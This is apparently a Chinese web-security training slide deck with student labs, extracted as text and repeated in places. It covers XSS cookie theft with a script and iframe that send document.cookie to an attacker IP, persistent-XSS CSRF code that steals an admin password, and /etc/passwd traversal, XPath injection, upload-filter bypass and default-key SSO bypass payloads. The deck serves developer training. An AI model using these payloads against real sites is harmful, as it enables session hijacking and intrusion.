接中含有腳本，容易引起用戶懷疑，解決辦法是進行URL編碼打開encode.htm，注意允許腳本執(zhí)行將script拷貝到ASCIIText中，點擊Encode，結(jié)果顯示在URL中URL編碼可以增強腳本隱蔽性注意：script后面如果有%20，請用空格代替XSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)StXSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)15MinStep3-b.模擬釣魚將鏈接附在帖子中，吸引用戶訪問。當(dāng)然也可以直接給用戶發(fā)郵件；實際效果圖XSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)StXSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)15MinStep4.模擬管理員操作為了改善演示效果，請切換至另外一臺主機以管理員身份登錄；點擊剛才的鏈接；XSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)StXSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)15MinStep5-a.盜竊Cookie切換回攻擊者主機觀察access.log文件是否更新過，提取出最新一段內(nèi)容--[24/Sep/2007:18:22:04+0800]"GET/?Snitz00User%3DCookies%3D%26Pword%3Dadmin%26Name%3Dadmin%3B%20ASPSESSIONIDACDDASQD%3DGEOFEIKDEHDPHOLKLODCHPDL%3B%20%252Fbbs%252FstrSelectSizeHTTP/1.1"20044Step5-b.管理員已經(jīng)執(zhí)行了惡意代碼并將其cookie發(fā)送給攻擊者由于經(jīng)過escape編碼，因此再利用encode.htm進行一次解碼將上面記錄的Snitz開始到Size結(jié)束的內(nèi)容拷貝到URL中，點擊Decode結(jié)果在ASCIIText中XSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)StXSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)15MinStep6.更改Cookie訪問論壇頁面，無需登錄啟動WebScarab，設(shè)置IE代理為WebScarab點中WebScarab的InterceptResponse功能訪問任意論壇鏈接，修改WebScarab攔截頁面修改前增加Set-Cookie:<解碼的內(nèi)容>XSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)StXSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)15MinStep7.結(jié)果確認修改后，取消WebScarab的攔截功能訪問任意鏈接，攻擊者成功竊取到admin的身份關(guān)于session與cookie可以參考下面的文字：/wfdmd/archive/2006/03/06/616646.aspxXSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)StXSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)15MinStep8：這里是為了演示反射XSS而特意準備的鏈接，其實test直接發(fā)表如下的帖子，任何瀏覽此帖子的人都會自動把cookie發(fā)給他，而且整個過程是完全自動且隱蔽的。帖子內(nèi)容如下：<imgid=“test”width=0height=0><script>document.all.test.src=“/?”+document.cookie;</script>這樣修改后就是持久XSS進行CSRF攻擊的實例。下面會演示一個完整的CSRF攻擊。XSSCase1:反射XSS偷竊Cookie學(xué)員練習(xí)StXSSCase2:持久XSSCSRF學(xué)員練習(xí)3Min下面演示持久XSS實現(xiàn)CSRF的例子。在大家的培訓(xùn)目錄/CSRF/下有一個CSRF.txt文件，其內(nèi)容是一段不換行的Javascript代碼。后面會簡單對此進行分析，首先我們來觀察效果：如果代碼中有換行，在發(fā)表帖子時系統(tǒng)會自動追加<BR><P>這樣的字符，導(dǎo)致語法錯誤！此外，不換行也是縮短代碼長度的好方法。XSSCase2:持久XSSCSRF學(xué)員練習(xí)下面演示持XSSCase2:持久XSSCSRF學(xué)員練習(xí)3Min以test身份登錄，發(fā)表帖子，內(nèi)容是剛才的代碼。在另外一臺主機以Admin身份登錄，瀏覽剛才test發(fā)表的帖子。test查看自己的收件箱：Admin把密碼發(fā)過來了這是剛才自己瀏覽自己帖子時發(fā)送的XSSCase2:持久XSSCSRF學(xué)員練習(xí)以test學(xué)員練習(xí)3MinXSSCase2:如果不成功，可能IE安全設(shè)置較高由于演示中利用到了XMLHTTP，因此需要確認瀏覽器允許ActiveX控件的運行。選中Internet，點擊Default，或者點Custom逐項配置IE在缺省狀態(tài)下允許XMLHTTP的執(zhí)行，這個函數(shù)是Ajax與SOAP技術(shù)的基石。只有少數(shù)經(jīng)過安全加固的電腦才需要額外進行這部操作。具體需要Enable的三項分別是：ActiveXcontrolsandplug-ins下面兩項：RunActiveXcontrolsandplug-ins=Enable;ScriptActiveXcontrolsmarkedsafeforscripting=Enable;Scripting下面一項：Activescripting=Enable學(xué)員練習(xí)XSSCase2:如果不成功，可能IE安全設(shè)置較XSSCase2:代碼分析代碼主體部分如下：<DIVid=csrfstyle="BACKGROUND:url(javascript:eval(document.all.csrf.code))"code=“……"></DIV>Code中……是具體的代碼，真正執(zhí)行入口如下：varJ;main();functionmain(){J=getXMLObj();httpSend('privatesend.asp?method=Topic',postcsrf,'GET');}獲取XMLHttpRequest對象讀取發(fā)消息頁面內(nèi)容，并在讀取完畢后轉(zhuǎn)到postcsrf函數(shù)XSSCase2:代碼分析代碼主體部分如下：<DIViXSSCase2:代碼分析Postcsrf()在獲取privatesend.asp請求返回內(nèi)容后，在返回頁面中尋找password字段，并以此作為短消息主體，最后POST到privatesend_info.asp：之所以要先GET再POST，原因是POST表單中有些內(nèi)容必須事先通過GET獲取。functionpostcsrf(){if(J.readyState!=4){return;}varAU=J.responseText;varAS=newArray();AS['Method_Type']='Topic';AS['cookies']='yes';AS['Subject']='password';AS['sendto']='test';AS['UserName']=find(AU,'name='+chr+'UserName'+chr+'type='+chr+'hidden'+chr+'value='+chr,chr);AS['Password']=find(AU,'name='+chr+'Password'+chr+'type='+chr+'hidden'+chr+'value='+chr,chr);AS['Message']=AS['Password'];httpSend('privatesend_info.asp',stop,'POST',paramsToString(AS));}工具方法：在返回的網(wǎng)頁中搜索特定的內(nèi)容Chr=“，為了避免與code外的””沖突，用變量代替XSSCase2:代碼分析Postcsrf()在獲取prXSSCase2:代碼分析下圖是編寫代碼時，預(yù)先仿照test發(fā)送消息，通過webscarab捕獲其post字段的內(nèi)容。postcsrf函數(shù)中的代碼負責(zé)填寫這些字段。XSSCase2:代碼分析下圖是編寫代碼時，預(yù)先仿照teXSSCase1Case2總結(jié)Case1：在受害者瀏覽器中通過<scriptsrc=“http://attackerIP/a.js”></script>包含了攻擊者服務(wù)器上的a.js并且執(zhí)行；在執(zhí)行過程中通過<iframesrc=http://attackerIP/?+cookie></iframe>的方式將cookie發(fā)送給攻擊者Case2：在受害者瀏覽器中通過XmlHttpRequest控件Get到http://ServerIP/somepage，從返回的頁面中提取必要信息，再利用XmlHttpRequest控件Post到http://ServerIP/somepage惡意代碼都在后臺執(zhí)行；Case1中，通過script,frame等html標簽成功地獲取了attackerIP網(wǎng)站的腳本并執(zhí)行，且能夠返回信息到attackerIP。Case2中，XmlHttpRequest(簡稱XHR)只能對同domain的網(wǎng)頁進行g(shù)et,post操作，這來自于瀏覽器的同源策略。XSSCase1Case2總結(jié)Case1：Case2可以請求來自于DomainB的圖片/JavaScript/CSS可以無限次地在后臺發(fā)起XMLHttpRequest到DomainA，并讀取返回的結(jié)果可以操作DomainA其他frames/iframes/彈出窗口的內(nèi)容不能發(fā)送XMLHttpRequest到DomainB不能操作DomainB其他frames/iframes/彈出窗口能與DomainA上的其他頁面交互

不能與DomainA的頁面交互DomainB圖片CSSJavaScriptXML/WebPage同源策略：腳本只能讀取和修改同源文檔的屬性；同源策略可以保證一個網(wǎng)站無法讀取另一個網(wǎng)站的Cookie，一個網(wǎng)站的惡意代碼無法修改另一個網(wǎng)站的內(nèi)容。XSS:同源策略（SameOriginPolicy）XHR有興趣的可以閱讀/index.php/2007/02/08/same-origin-policy/可以請求來自于DomainB的圖片/JavaScript/目錄

概述

WEB代碼常見的安全問題SQL注入跨站腳本漏洞(XSS)跨站點請求偽造（CSRF）

其他驗證不充分的漏洞其他類型的問題（邏輯缺陷、錯誤處理不當(dāng)…)程序開發(fā)安全具體措施平臺部署與維護具體措施程序安全開發(fā)流程目錄概述文件上傳漏洞：常見的驗證錯誤允許上傳可執(zhí)行文件使用客戶端JS驗證上傳文件類型使用黑名單限制上傳文件類型文件名/存儲目錄名可自定義文件名中特殊字符處理不當(dāng)文件上傳漏洞：常見的驗證錯誤允許上傳可執(zhí)行文件文件上傳漏洞1：夢網(wǎng)彩信相冊任意代碼執(zhí)行

Resin服務(wù)默認可以執(zhí)行xtp類型文件，彩信相冊的照片，鈴聲等上傳頁面的后臺程序沒有對xtp擴展名過濾，導(dǎo)致可以上傳執(zhí)行代碼。文件上傳漏洞1：夢網(wǎng)彩信相冊任意代碼執(zhí)行 Resin服務(wù)默認文件上傳漏洞2：FCKEditor任意文件上傳漏洞$Config['DeniedExtensions']['File'] =array('php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi');可以通過上傳文件后面加個.就可以上傳成功了如：shell.php.在windows系統(tǒng)上shell.php.=shell.php；在*nix系統(tǒng)一般使用apache，在apache里shell.php.將認為是php文件而執(zhí)行。文件上傳漏洞2：FCKEditor任意文件上傳漏洞$Con文件上傳漏洞：解決方案文件上傳漏洞：解決方案文件包含漏洞文件包含漏洞文件包含漏洞-示例<%Stringbody=request.getParameter("test")%><jsp:includepage="<%=test%>"flush="true"/>示例：test.jsp?test=../../../../../etc/passwd<jsp:includepage="../../../../../etc/passwd"flush="true"/><?phpinclude($_GET[test]);?>Test.php?test=../../../../etc/passwd示例文件包含漏洞-示例<%示例整數(shù)溢出示例代碼：某人訂購大量商品number="42949671";計算出來的總價total=-196Stringnumber=request.getParameter(“number”);//商品數(shù)量intnum=Integer.parseInt(number);If(num>0){inttotal=num*100;//計算總價格}整數(shù)溢出示例代碼：Stringnumber=requeXPath注入攻擊<?xmlversion="1.0"encoding="UTF-8"?><users><user><firstname>Ben</firstname><lastname>Elmore</lastname><loginID>abc</loginID><password>test123</password></user><user><firstname>Shlomy</firstname><lastname>Gantz</lastname><loginID>xyz</loginID><password>123test</password></user></users>XPathxpath=factory.newXPath();XPathExpressionexpr=pile("http://users/user[loginID/text()='"+loginID +"'andpassword/text()='"+password+"']/firstname/text()");Objectresult=expr.evaluate(doc,XPathConstants.NODESET);NodeListnodes=(NodeList)result;//繞過身份驗證//users/user[LoginID/text()=''or1=1andpassword/text()=''or1=1]隨著簡單XMLAPI、Web服務(wù)和RichInternetApplications(RIAs)的發(fā)展,已經(jīng)有很多人使用XML文檔代替關(guān)系數(shù)據(jù)庫，但XML應(yīng)用程序可能容易受到代碼注入的攻擊，尤其是

XPath注入攻擊XPath注入攻擊<?xmlversion="1.0"是cookies過期時間未設(shè)置，可能會引發(fā)一些cookies欺騙攻擊風(fēng)險

可能會竊取或操縱客戶會話和

cookie，它們可能用于模仿合法用戶，從而使黑客能夠以該用戶身份查看或變更用戶記錄以及執(zhí)行事務(wù)

解決方案始終生成新的會話，供用戶成功認證時登錄。在登錄頁面上加上一段代碼：在登陸頁面上加的這段代碼的作用就是，將用戶進入登陸頁面時所產(chǎn)生的會話(session)清空，然后讓跟蹤這個會話的cookie過期，這樣服務(wù)器就不再掌握有關(guān)這個會話的任何信息了。要想與服務(wù)器繼續(xù)通信，就要產(chǎn)生一個新的會話才行。于是會話標示就更新了會話標識未更新注：如果是jsp+servlet，這段代碼放jsp頁面程序的任何位置都可以。如果是struts框架，這幾行代碼只能加到j(luò)sp頁面程序的最后面。因為struts框架在初始化時會創(chuàng)建session對象，并把一些參數(shù)放在session里，然后再執(zhí)行頁面代碼。request.getSession().invalidate();//清空session

if(request.getCookies()!=null){

Cookiecookie=request.getCookies()[0];//獲取cookie

cookie.setMaxAge(0);//讓cookie過期}是cookies過期時間未設(shè)置，可能會引發(fā)一些cookie目錄

概述

WEB代碼常見的安全問題SQL注入跨站腳本漏洞(XSS)跨站點請求偽造（CSRF）

其他驗證不充分的漏洞其他類型的問題（邏輯缺陷、錯誤處理不當(dāng)…)程序開發(fā)安全具體措施平臺部署與維護具體措施程序開發(fā)安全流程目錄概述邏輯缺陷越權(quán)操作驗證繞過程序流程失誤變量注冊順序JS劫持隨機數(shù)生成API調(diào)用缺陷Flash安全策略設(shè)置邏輯缺陷越權(quán)操作邏輯缺陷：CssWeb后臺認證繞過漏洞<%@tagliburi="/jsp/jstl/core"prefix="c"%><c:setvar="ctx"value="${pageContext.request.contextPath}"/><%@pageimport="com.cssweb.base.util.*"%><%if(session.getAttribute(Constants.USER_ID)==null){ %><script>alert("Pleaselogining...");location.href="${ctx}/admin/login/logout.jsp";</script><%}%>//如果禁用了客戶端的腳本代碼，直接訪問后臺頁面，不會被跳轉(zhuǎn)到登陸頁面，可以看到后臺所有內(nèi)容。提示：不能用JS代碼來完成某些必須要執(zhí)行的信息。邏輯缺陷：CssWeb后臺認證繞過漏洞<%@taglib認證繞過：Zcms單點登錄認證缺陷<%@pageimport="com.zving.platform.Login"%><%@pageimport="com.zving.framework.utility.StringUtil"%><% Stringusername=request.getParameter("u"); Stringtime=request.getParameter("t"); Stringstr=request.getParameter("s"); Stringkey="WIU%&*DJAJKL%^*W(DLJIST";Strings=StringUtil.md5Hex(username+time+key); if(s.equals(str)){ Login.ssoLogin(request,response,username); }%>//

key安裝后缺省都是“WIU%&*DJAJKL%^*W(DLJIST”，可以計算出s登錄后臺//SSO.jsp?u=admin&t=2010/1/11&s=f7edb87197b4437df8651ae320623006提示：所有發(fā)布版不能用統(tǒng)一的缺省值來完成某些必須要執(zhí)行的信息。認證繞過：Zcms單點登錄認證缺陷<%@pageimpor程序流程失誤：TomcatV5/6/7拒絕服務(wù)漏洞//tomcat源代碼publicvoidrecycle(){if(buffered.getBuffer().length>65536){buffered=null;}else{buffered.recycle();}……}//buffered如果為null，程序流程進入buffered.recycle()，引用空指針造成tomcat崩潰程序流程失誤：TomcatV5/6/7拒絕服務(wù)漏洞//to變量注冊順序：Php168CMS文件包含漏洞變量注冊順序：Php168CMS文件包含漏洞Jsonhijacking/Json劫持漏洞

JSON(JavaScriptObjectNotation)是一種輕量級的數(shù)據(jù)交換格式。易于人閱讀和編寫。同時也易于機器解析和生成。JSON采用完全獨立于語言的文本格式，也使用了類似于C語言家族的習(xí)慣（包括C,C++,C#,Java,JavaScript,Perl,Python等）。這些特性使JSON成為理想的數(shù)據(jù)交換語言。這種純文本的數(shù)據(jù)交互方式由于可以天然的在瀏覽器中使用，所以隨著ajax和web業(yè)務(wù)的發(fā)展得到了廣大的發(fā)展，各種大型網(wǎng)站都開始使用。 但是如果這種交互的方式用來傳遞敏感的數(shù)據(jù)，并且傳輸?shù)臅r候沒有做太多安全性控制的話將導(dǎo)致安全漏洞，根據(jù)敏感信息的不同導(dǎo)致會導(dǎo)致應(yīng)用遭受不同級別的攻擊。 Jsonhijacking/Json劫持漏洞Jsonhijacking/Json劫持漏洞：示例某省運營商網(wǎng)上營業(yè)廳修改任意手機號密碼漏洞

/js_obsh_service/actionDispatcher.do?jsonParam=[{%22dynamicURI%22%3A%22%2FmmxgBusiness%22%2C%22dynamicParameter%22%3A{%22method%22%3A%22modifyPwd%22%2C%22busiNum%22%3A%22MMFW_MMCZ%22%2C%22mobile%22%3A%2213951909864%22%2C%22newPwd%22%3A%22987321%22%2C%22checkOld%22%3A%220%22%2C%22cardNum%22%3A%22%22}%2C%22dynamicDataNodeName%22%3A%22mmczBusinessNode%22}]Jsonhijacking/Json劫持漏洞：示例某省運營偽隨機：MyBB密碼重置偽隨機漏洞//mybb用戶忘記密碼后，可重新生成一個密碼發(fā)送到預(yù)定郵箱，惡意用戶可預(yù)測到這個密碼if(!$mybb->input['posthash']&&$mybb->input['action']!="editdraft"){mt_srand((double)microtime()*1000000);$posthash=md5($mybb->user['uid'].mt_rand());}在php

5.2.6以下版本中，seed和mt_rand的值有唯一對應(yīng)關(guān)系，所以可以預(yù)測$posthash，java中存在類似的問題偽隨機：MyBB密碼重置偽隨機漏洞//mybb用戶忘記密碼API濫用：ComsenzUCAPI濫用造成的危害UCenter是Comsenz旗下各個產(chǎn)品之間信息直接傳遞的一個橋梁，通過UCenter站長可以無縫整合Comsenz系列產(chǎn)品，實現(xiàn)用戶的一站式注冊、登錄、退出；UCenter擁有機制完善的接口，經(jīng)過簡單修改便可以掛接其它任何平臺的第三方的網(wǎng)絡(luò)應(yīng)用程序。隨著Comsenz在開源論壇Discuz程序逐漸在國內(nèi)占據(jù)統(tǒng)治地位,當(dāng)前幾乎國內(nèi)所有主流的phpcms都默認集成了Ucenter的api文件。第三方的程序在使用UCenter掛接讓Comsenz時，依靠一個UC_KEY實現(xiàn)程序的互通，可修改任意用戶的密碼、系統(tǒng)配置文件。多數(shù)第三方程序并未初始化UC_KEY,攻擊者可以使用默認的UC_KEY遠程調(diào)用API執(zhí)行惡意操作API濫用：ComsenzUCAPI濫用造成的危害UCflash安全策略flash作為一款瀏覽器的第三方插件，是對瀏覽器功能的延伸，已經(jīng)是web必不可少的元素。很多web系統(tǒng)因為業(yè)務(wù)應(yīng)用的需求,允許用戶上傳flash文件。flash在頁面展示時含有的豐富功能，同時對安全策略帶來了挑戰(zhàn)，其潛在危險甚至超過jsflash的跨域策略crossdomain.xmlflash安全策略flash作為一款瀏覽器的第三方插件，是對利用flash進行攻擊參考：/xisigr/blog/item/2c2b7a110ec848f0c2ce79ec.html拖動前拖動后這個DEMO的思想是：在小球的上面加入隱藏層<iframe>，在海豚的嘴上方加入隱藏層<textarea>。本質(zhì)上就是誘惑用戶把<iframe>中的內(nèi)容拖放到<textare>中去。當(dāng)操作成功后，會把你拖動的數(shù)據(jù)打印在頁面上。如果你愿意，只要再加幾行代碼，數(shù)據(jù)就可以保存在服務(wù)器上了。細心的朋友可以看看源代碼，里面的操作我都寫成了獨立的函數(shù)，應(yīng)該很好理解。利用flash進行攻擊參考：http://hi.baidu.容錯處理不當(dāng)publicstaticvoidmain(String[]args){try{……}catch(Exceptione){e.printStackTrace();}//直接將錯誤返回到客戶端，造成系統(tǒng)信息泄露容錯處理不當(dāng)publicstaticvoidmain(平臺安全特性IIS文件名解析漏洞Apache文件名解析漏洞Nginx文件名解析漏洞Struts2框架任意代碼執(zhí)行平臺安全特性IIS文件名解析漏洞文件名解析漏洞IIS6文件夾解析漏洞/test.asp/111.jpg（忽略/后的部分）IIS6文件名解析漏洞/test.asp;1.jpg（忽略;后的部分）Apache